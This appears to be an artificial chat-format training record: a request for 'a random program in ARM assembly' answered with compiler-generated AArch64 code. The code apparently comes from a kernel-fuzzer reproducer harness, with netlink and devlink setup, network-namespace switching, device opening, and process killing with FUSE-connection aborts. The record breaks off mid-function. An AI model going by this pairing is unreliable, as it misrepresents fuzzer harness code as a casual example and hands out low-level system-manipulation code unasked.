.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl realloc
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size platform_realloc, .-platform_realloc
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type sleep_ms, %function
sleep_ms:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
mov w1, w0
mov w0, 1000
mul w0, w1, w0
bl usleep
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size sleep_ms, .-sleep_ms
.align 2
.type current_time_ms, %function
current_time_ms:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
add x0, sp, 24
mov x1, x0
mov w0, 1
bl clock_gettime
cmp w0, 0
beq .L3
mov w0, 1
bl exit
.L3:
ldr x0, [sp, 24]
mov x1, x0
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 3
mov x1, x0
ldr x0, [sp, 32]
mov x2, x0
mov x0, 13531
movk x0, 0xd7b6, lsl 16
movk x0, 0xde82, lsl 32
movk x0, 0x431b, lsl 48
umulh x0, x2, x0
lsr x0, x0, 18
add x0, x1, x0
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov x0, x1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size current_time_ms, .-current_time_ms
.align 2
.type write_file, %function
write_file:
.LFB8:
.cfi_startproc
sub sp, sp, #1328
.cfi_def_cfa_offset 1328
stp x29, x30, [sp]
.cfi_offset 29, -1328
.cfi_offset 30, -1320
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 1280]
str x3, [sp, 1288]
str x4, [sp, 1296]
str x5, [sp, 1304]
str x6, [sp, 1312]
str x7, [sp, 1320]
add x0, sp, 1024
str q0, [x0, 128]
add x0, sp, 1024
str q1, [x0, 144]
add x0, sp, 1024
str q2, [x0, 160]
add x0, sp, 1024
str q3, [x0, 176]
add x0, sp, 1024
str q4, [x0, 192]
add x0, sp, 1024
str q5, [x0, 208]
add x0, sp, 1024
str q6, [x0, 224]
add x0, sp, 1024
str q7, [x0, 240]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1144]
mov x1, 0
add x0, sp, 1328
str x0, [sp, 88]
add x0, sp, 1328
str x0, [sp, 96]
add x0, sp, 1280
str x0, [sp, 104]
mov w0, -48
str w0, [sp, 112]
mov w0, -128
str w0, [sp, 116]
add x0, sp, 16
add x1, sp, 88
ldp q0, q1, [x1]
stp q0, q1, [x0]
add x1, sp, 16
add x0, sp, 120
mov x3, x1
ldr x2, [sp, 48]
mov x1, 1024
bl vsnprintf
strb wzr, [sp, 1143]
add x0, sp, 120
bl strlen
str w0, [sp, 76]
mov w1, 1
movk w1, 0x8, lsl 16
ldr x0, [sp, 56]
bl open
str w0, [sp, 80]
ldr w0, [sp, 80]
cmn w0, #1
bne .L7
mov w0, 0
b .L10
.L7:
ldrsw x1, [sp, 76]
add x0, sp, 120
mov x2, x1
mov x1, x0
ldr w0, [sp, 80]
bl write
mov x1, x0
ldrsw x0, [sp, 76]
cmp x1, x0
beq .L9
bl __errno_location
ldr w0, [x0]
str w0, [sp, 84]
ldr w0, [sp, 80]
bl close
bl __errno_location
mov x1, x0
ldr w0, [sp, 84]
str w0, [x1]
mov w0, 0
b .L10
.L9:
ldr w0, [sp, 80]
bl close
mov w0, 1
.L10:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1144]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L11
bl __stack_chk_fail
.L11:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 1328
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size write_file, .-write_file
.local nlmsg
.comm nlmsg,1104,8
.align 2
.type netlink_init, %function
netlink_init:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str w2, [sp, 32]
str x3, [sp, 24]
str w4, [sp, 20]
mov x2, 1104
mov w1, 0
ldr x0, [sp, 40]
bl memset
ldr x0, [sp, 40]
add x0, x0, 80
str x0, [sp, 56]
ldr w0, [sp, 36]
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 4]
ldr w0, [sp, 32]
sxth w1, w0
mov w0, 5
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 6]
ldr x0, [sp, 56]
add x0, x0, 16
ldrsw x1, [sp, 20]
mov x2, x1
ldr x1, [sp, 24]
bl memcpy
ldr w0, [sp, 20]
add w0, w0, 3
uxtw x0, w0
and x0, x0, 4294967292
add x0, x0, 16
ldr x1, [sp, 56]
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0]
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size netlink_init, .-netlink_init
.align 2
.type netlink_attr, %function
netlink_attr:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str w3, [sp, 32]
ldr x0, [sp, 40]
ldr x0, [x0]
str x0, [sp, 56]
ldr w0, [sp, 32]
and w0, w0, 65535
add w0, w0, 4
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0]
ldr w0, [sp, 36]
and w1, w0, 65535
ldr x0, [sp, 56]
strh w1, [x0, 2]
ldr x0, [sp, 56]
add x0, x0, 4
ldrsw x1, [sp, 32]
mov x2, x1
ldr x1, [sp, 24]
bl memcpy
ldr x0, [sp, 40]
ldr x1, [x0]
ldr x0, [sp, 56]
ldrh w0, [x0]
add w0, w0, 3
uxtw x0, w0
and x0, x0, 4294967292
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0]
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size netlink_attr, .-netlink_attr
.align 2
.type netlink_send_ext, %function
netlink_send_ext:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
strh w2, [sp, 34]
str x3, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
ldr x0, [sp, 40]
ldr x1, [x0]
ldr x0, [sp, 40]
add x0, x0, 80
add x0, x0, 1024
cmp x1, x0
bhi .L15
ldr x0, [sp, 40]
ldr w0, [x0, 8]
cmp w0, 0
beq .L16
.L15:
mov w0, 1
bl exit
.L16:
ldr x0, [sp, 40]
add x0, x0, 80
str x0, [sp, 64]
ldr x0, [sp, 40]
ldr x1, [x0]
ldr x0, [sp, 40]
add x0, x0, 80
sub x0, x1, x0
mov w1, w0
ldr x0, [sp, 64]
str w1, [x0]
add x0, sp, 72
mov x2, 12
mov w1, 0
bl memset
mov w0, 16
strh w0, [sp, 72]
ldr x0, [sp, 40]
add x1, x0, 80
ldr x0, [sp, 64]
ldr w0, [x0]
uxtw x0, w0
add x2, sp, 72
mov w5, 12
mov x4, x2
mov w3, 0
mov x2, x0
ldr w0, [sp, 36]
bl sendto
str w0, [sp, 60]
ldr x0, [sp, 64]
ldr w0, [x0]
ldr w1, [sp, 60]
cmp w1, w0
beq .L17
mov w0, 1
bl exit
.L17:
ldr x0, [sp, 40]
add x0, x0, 80
mov w3, 0
mov x2, 1024
mov x1, x0
ldr w0, [sp, 36]
bl recv
str w0, [sp, 60]
ldr x0, [sp, 64]
ldrh w0, [x0, 4]
cmp w0, 3
bne .L18
ldr x0, [sp, 24]
str wzr, [x0]
mov w0, 0
b .L24
.L18:
ldr w0, [sp, 60]
cmp w0, 15
bhi .L20
mov w0, 1
bl exit
.L20:
ldr x0, [sp, 24]
cmp x0, 0
beq .L21
ldr x0, [sp, 64]
ldrh w0, [x0, 4]
ldrh w1, [sp, 34]
cmp w1, w0
bne .L21
ldr w1, [sp, 60]
ldr x0, [sp, 24]
str w1, [x0]
mov w0, 0
b .L24
.L21:
ldr w0, [sp, 60]
cmp w0, 35
bhi .L22
mov w0, 1
bl exit
.L22:
ldr x0, [sp, 64]
ldrh w0, [x0, 4]
cmp w0, 2
beq .L23
mov w0, 1
bl exit
.L23:
ldr x0, [sp, 64]
add x0, x0, 16
ldr w0, [x0]
neg w0, w0
.L24:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L25
bl __stack_chk_fail
.L25:
mov w0, w1
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size netlink_send_ext, .-netlink_send_ext
.align 2
.type netlink_send, %function
netlink_send:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
mov x3, 0
mov w2, 0
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl netlink_send_ext
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size netlink_send, .-netlink_send
.align 2
.type netlink_next_msg, %function
netlink_next_msg:
.LFB13:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
ldr x0, [sp, 8]
add x1, x0, 80
ldr w0, [sp, 4]
add x0, x1, x0
str x0, [sp, 24]
ldr w1, [sp, 4]
ldr w0, [sp]
cmp w1, w0
beq .L29
ldr x0, [sp, 24]
ldr w1, [x0]
ldr w0, [sp, 4]
add w0, w1, w0
ldr w1, [sp]
cmp w1, w0
bcs .L30
.L29:
mov w0, -1
b .L31
.L30:
ldr x0, [sp, 24]
ldr w0, [x0]
.L31:
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size netlink_next_msg, .-netlink_next_msg
.align 2
.type netlink_device_change, %function
netlink_device_change:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 72]
str w1, [sp, 68]
str x2, [sp, 56]
strb w3, [sp, 67]
str x4, [sp, 48]
str x5, [sp, 40]
str w6, [sp, 36]
str x7, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
add x0, sp, 88
mov x2, 16
mov w1, 0
bl memset
ldrb w0, [sp, 67]
cmp w0, 0
beq .L33
mov w0, 1
str w0, [sp, 100]
ldr w0, [sp, 100]
str w0, [sp, 96]
.L33:
ldr x0, [sp, 56]
bl if_nametoindex
str w0, [sp, 92]
add x0, sp, 88
mov w4, 16
mov x3, x0
mov w2, 0
mov w1, 16
ldr x0, [sp, 72]
bl netlink_init
ldr x0, [sp, 24]
cmp x0, 0
beq .L34
ldr x0, [sp, 24]
bl strlen
mov w3, w0
ldr x2, [sp, 24]
mov w1, 3
ldr x0, [sp, 72]
bl netlink_attr
.L34:
ldr x0, [sp, 48]
cmp x0, 0
beq .L35
ldr x0, [sp, 48]
bl if_nametoindex
str w0, [sp, 80]
add x0, sp, 80
mov w3, 4
mov x2, x0
mov w1, 10
ldr x0, [sp, 72]
bl netlink_attr
.L35:
ldr w0, [sp, 36]
cmp w0, 0
beq .L36
ldr w3, [sp, 36]
ldr x2, [sp, 40]
mov w1, 1
ldr x0, [sp, 72]
bl netlink_attr
.L36:
ldr w1, [sp, 68]
ldr x0, [sp, 72]
bl netlink_send
str w0, [sp, 84]
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 104]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L37
bl __stack_chk_fail
.L37:
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size netlink_device_change, .-netlink_device_change
.global kInitNetNsFd
.section .rodata
.align 2
.type kInitNetNsFd, %object
.size kInitNetNsFd, 4
kInitNetNsFd:
.word 239
.align 3
.LC0:
.string "devlink"
.text
.align 2
.type netlink_devlink_id_get, %function
netlink_devlink_id_get:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
strh wzr, [sp, 46]
add x0, sp, 48
mov x2, 4
mov w1, 0
bl memset
mov w0, 3
strb w0, [sp, 48]
add x0, sp, 48
mov w4, 4
mov x3, x0
mov w2, 0
mov w1, 16
ldr x0, [sp, 24]
bl netlink_init
mov w3, 8
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, 2
ldr x0, [sp, 24]
bl netlink_attr
add x0, sp, 56
mov x3, x0
mov w2, 16
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl netlink_send_ext
str w0, [sp, 60]
ldr w0, [sp, 60]
cmp w0, 0
beq .L39
mov w0, -1
b .L46
.L39:
ldr x0, [sp, 24]
add x0, x0, 80
add x0, x0, 20
str x0, [sp, 64]
b .L41
.L44:
ldr x0, [sp, 64]
ldrh w0, [x0, 2]
cmp w0, 1
bne .L42
ldr x0, [sp, 64]
ldrh w0, [x0, 4]
strh w0, [sp, 46]
b .L43
.L42:
ldr x0, [sp, 64]
ldrh w0, [x0]
add w0, w0, 3
uxtw x0, w0
and x0, x0, 4294967292
ldr x1, [sp, 64]
add x0, x1, x0
str x0, [sp, 64]
.L41:
ldr x0, [sp, 24]
add x1, x0, 80
ldr w0, [sp, 56]
sxtw x0, w0
add x0, x1, x0
ldr x1, [sp, 64]
cmp x1, x0
bcc .L44
.L43:
ldrh w0, [sp, 46]
cmp w0, 0
bne .L45
mov w0, -1
b .L46
.L45:
ldr x0, [sp, 24]
add x0, x0, 80
mov w3, 0
mov x2, 1024
mov x1, x0
ldr w0, [sp, 20]
bl recv
ldrh w0, [sp, 46]
.L46:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L47
bl __stack_chk_fail
.L47:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size netlink_devlink_id_get, .-netlink_devlink_id_get
.align 2
.type netlink_devlink_netns_move, %function
netlink_devlink_netns_move:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
mov w2, 16
mov w1, 3
mov w0, 16
bl socket
str w0, [sp, 60]
ldr w0, [sp, 60]
cmn w0, #1
bne .L49
mov w0, 1
bl exit
.L49:
ldr w1, [sp, 60]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_devlink_id_get
str w0, [sp, 64]
ldr w0, [sp, 64]
cmn w0, #1
beq .L53
add x0, sp, 56
mov x2, 4
mov w1, 0
bl memset
mov w0, 37
strb w0, [sp, 56]
add x0, sp, 56
mov w4, 4
mov x3, x0
mov w2, 0
ldr w1, [sp, 64]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_init
ldr x0, [sp, 40]
bl strlen
add w0, w0, 1
mov w3, w0
ldr x2, [sp, 40]
mov w1, 1
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_attr
ldr x0, [sp, 32]
bl strlen
add w0, w0, 1
mov w3, w0
ldr x2, [sp, 32]
mov w1, 2
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_attr
add x0, sp, 28
mov w3, 4
mov x2, x0
mov w1, 138
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_attr
ldr w1, [sp, 60]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_send
str w0, [sp, 68]
b .L51
.L53:
nop
.L51:
ldr w0, [sp, 60]
bl close
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 72]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L52
bl __stack_chk_fail
.L52:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size netlink_devlink_netns_move, .-netlink_devlink_netns_move
.local nlmsg2
.comm nlmsg2,1104,8
.section .rodata
.align 3
.LC1:
.string "%s%d"
.text
.align 2
.type initialize_devlink_ports, %function
initialize_devlink_ports:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 120]
mov x1, 0
mov w2, 16
mov w1, 3
mov w0, 16
bl socket
str w0, [sp, 68]
ldr w0, [sp, 68]
cmn w0, #1
bne .L55
mov w0, 1
bl exit
.L55:
mov w2, 0
mov w1, 3
mov w0, 16
bl socket
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L56
mov w0, 1
bl exit
.L56:
ldr w1, [sp, 68]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_devlink_id_get
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
beq .L67
add x0, sp, 56
mov x2, 4
mov w1, 0
bl memset
mov w0, 5
strb w0, [sp, 56]
add x0, sp, 56
mov w4, 4
mov x3, x0
mov w2, 768
ldr w1, [sp, 76]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_init
ldr x0, [sp, 40]
bl strlen
add w0, w0, 1
mov w3, w0
ldr x2, [sp, 40]
mov w1, 1
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_attr
ldr x0, [sp, 32]
bl strlen
add w0, w0, 1
mov w3, w0
ldr x2, [sp, 32]
mov w1, 2
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_attr
ldr w0, [sp, 76]
and w1, w0, 65535
add x0, sp, 60
mov x3, x0
mov w2, w1
ldr w1, [sp, 68]
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_send_ext
str w0, [sp, 80]
ldr w0, [sp, 80]
cmp w0, 0
bne .L68
str wzr, [sp, 64]
strh wzr, [sp, 54]
b .L60
.L65:
ldrsw x0, [sp, 64]
add x1, x0, 20
adrp x0, nlmsg+80
add x0, x0, :lo12:nlmsg+80
add x0, x1, x0
str x0, [sp, 88]
b .L61
.L64:
ldr x0, [sp, 88]
ldrh w0, [x0, 2]
cmp w0, 7
bne .L62
ldr x0, [sp, 88]
add x0, x0, 4
str x0, [sp, 96]
ldrh w0, [sp, 54]
add x5, sp, 104
mov w4, w0
ldr x3, [sp, 24]
adrp x0, .LC1
add x2, x0, :lo12:.LC1
mov x1, 16
mov x0, x5
bl snprintf
add x0, sp, 104
mov x7, x0
mov w6, 0
mov x5, 0
mov x4, 0
mov w3, 1
ldr x2, [sp, 96]
ldr w1, [sp, 72]
adrp x0, nlmsg2
add x0, x0, :lo12:nlmsg2
bl netlink_device_change
b .L63
.L62:
ldr x0, [sp, 88]
ldrh w0, [x0]
add w0, w0, 3
uxtw x0, w0
and x0, x0, 4294967292
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
.L61:
ldrsw x1, [sp, 64]
ldrsw x0, [sp, 84]
add x1, x1, x0
adrp x0, nlmsg+80
add x0, x0, :lo12:nlmsg+80
add x0, x1, x0
ldr x1, [sp, 88]
cmp x1, x0
bcc .L64
.L63:
ldr w1, [sp, 64]
ldr w0, [sp, 84]
add w0, w1, w0
str w0, [sp, 64]
ldrh w0, [sp, 54]
add w0, w0, 1
strh w0, [sp, 54]
.L60:
ldr w0, [sp, 64]
ldr w1, [sp, 60]
mov w2, w1
mov w1, w0
adrp x0, nlmsg
add x0, x0, :lo12:nlmsg
bl netlink_next_msg
str w0, [sp, 84]
ldr w0, [sp, 84]
cmn w0, #1
bne .L65
b .L58
.L67:
nop
b .L58
.L68:
nop
.L58:
ldr w0, [sp, 72]
bl close
ldr w0, [sp, 68]
bl close
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 120]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L66
bl __stack_chk_fail
.L66:
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size initialize_devlink_ports, .-initialize_devlink_ports
.section .rodata
.align 3
.LC2:
.string "/proc/self/ns/net"
.align 3
.LC3:
.string "0000:00:10.0"
.align 3
.LC4:
.string "pci"
.align 3
.LC5:
.string "netpci"
.text
.align 2
.type initialize_devlink_pci, %function
initialize_devlink_pci:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w1, 0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl open
str w0, [sp, 24]
ldr w0, [sp, 24]
cmn w0, #1
bne .L70
mov w0, 1
bl exit
.L70:
mov w0, 239
mov w1, 0
bl setns
str w0, [sp, 28]
ldr w0, [sp, 28]
cmn w0, #1
bne .L71
mov w0, 1
bl exit
.L71:
ldr w2, [sp, 24]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl netlink_devlink_netns_move
mov w1, 0
ldr w0, [sp, 24]
bl setns
str w0, [sp, 28]
ldr w0, [sp, 28]
cmn w0, #1
bne .L72
mov w0, 1
bl exit
.L72:
ldr w0, [sp, 24]
bl close
adrp x0, .LC5
add x2, x0, :lo12:.LC5
adrp x0, .LC3
add x1, x0, :lo12:.LC3
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl initialize_devlink_ports
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size initialize_devlink_pci, .-initialize_devlink_pci
.section .rodata
.align 3
.LC6:
.string "char"
.align 3
.LC7:
.string "block"
.align 3
.LC8:
.string "/dev/%s/%d:%d"
.text
.align 2
.type syz_open_dev, %function
syz_open_dev:
.LFB19:
.cfi_startproc
sub sp, sp, #1088
.cfi_def_cfa_offset 1088
stp x29, x30, [sp]
.cfi_offset 29, -1088
.cfi_offset 30, -1080
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1080]
mov x1, 0
ldr x0, [sp, 40]
cmp x0, 12
beq .L74
ldr x0, [sp, 40]
cmp x0, 11
bne .L75
.L74:
ldr x0, [sp, 40]
cmp x0, 12
bne .L76
adrp x0, .LC6
add x0, x0, :lo12:.LC6
b .L77
.L76:
adrp x0, .LC7
add x0, x0, :lo12:.LC7
.L77:
ldr x1, [sp, 32]
and w1, w1, 255
mov w2, w1
ldr x1, [sp, 24]
and w1, w1, 255
add x5, sp, 56
mov w4, w1
mov w3, w2
mov x2, x0
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x5
bl sprintf
add x0, sp, 56
mov w2, 0
mov w1, 2
bl open
sxtw x0, w0
b .L78
.L75:
ldr x0, [sp, 40]
mov x1, x0
add x0, sp, 56
mov x2, 1023
bl strncpy
strb wzr, [sp, 1079]
b .L79
.L80:
ldr x1, [sp, 32]
mov x0, 7378697629483820646
movk x0, 0x6667, lsl 0
smulh x0, x1, x0
asr x2, x0, 2
asr x0, x1, 63
sub x2, x2, x0
mov x0, x2
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 1
sub x2, x1, x0
and w0, w2, 255
add w0, w0, 48
and w1, w0, 255
ldr x0, [sp, 48]
strb w1, [x0]
ldr x0, [sp, 32]
mov x1, 7378697629483820646
movk x1, 0x6667, lsl 0
smulh x1, x0, x1
asr x1, x1, 2
asr x0, x0, 63
sub x0, x1, x0
str x0, [sp, 32]
.L79:
add x0, sp, 56
mov w1, 35
bl strchr
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
bne .L80
ldr x0, [sp, 24]
mov w1, w0
add x0, sp, 56
mov w2, 0
bl open
sxtw x0, w0
.L78:
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1080]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L81
bl __stack_chk_fail
.L81:
mov x0, x1
ldp x29, x30, [sp]
add sp, sp, 1088
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE19:
.size syz_open_dev, .-syz_open_dev
.section .rodata
.align 3
.LC9:
.string "/sys/fs/fuse/connections"
.align 3
.LC10:
.string "."
.align 3
.LC11:
.string ".."
.align 3
.LC12:
.string "/sys/fs/fuse/connections/%s/abort"
.text
.align 2
.type kill_and_wait, %function
kill_and_wait:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -368]!
.cfi_def_cfa_offset 368
.cfi_offset 29, -368
.cfi_offset 30, -360
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 360]
mov x1, 0
ldr w0, [sp, 28]
neg w0, w0
mov w1, 9
bl kill
mov w1, 9
ldr w0, [sp, 28]
bl kill
str wzr, [sp, 32]
b .L83
.L86:
mov w2, 1
movk w2, 0x4000, lsl 16
ldr x1, [sp, 16]
mov w0, -1
bl waitpid
mov w1, w0
ldr w0, [sp, 28]
cmp w0, w1
beq .L97
mov w0, 1000
bl usleep
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L83:
ldr w0, [sp, 32]
cmp w0, 99
ble .L86
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl opendir
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
beq .L100
.L94:
ldr x0, [sp, 40]
bl readdir
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
bne .L88
ldr x0, [sp, 40]
bl closedir
b .L100
.L88:
ldr x0, [sp, 48]
add x2, x0, 19
adrp x0, .LC10
add x1, x0, :lo12:.LC10
mov x0, x2
bl strcmp
cmp w0, 0
beq .L98
ldr x0, [sp, 48]
add x2, x0, 19
adrp x0, .LC11
add x1, x0, :lo12:.LC11
mov x0, x2
bl strcmp
cmp w0, 0
beq .L98
ldr x0, [sp, 48]
add x0, x0, 19
add x4, sp, 56
mov x3, x0
adrp x0, .LC12
add x2, x0, :lo12:.LC12
mov x1, 300
mov x0, x4
bl snprintf
add x0, sp, 56
mov w1, 1
bl open
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
beq .L99
add x0, sp, 56
mov x2, 1
mov x1, x0
ldr w0, [sp, 36]
bl write
ldr w0, [sp, 36]
bl close
b .L94
.L98:
nop
b .L94
.L99:
nop
b .L94
.L100:
nop
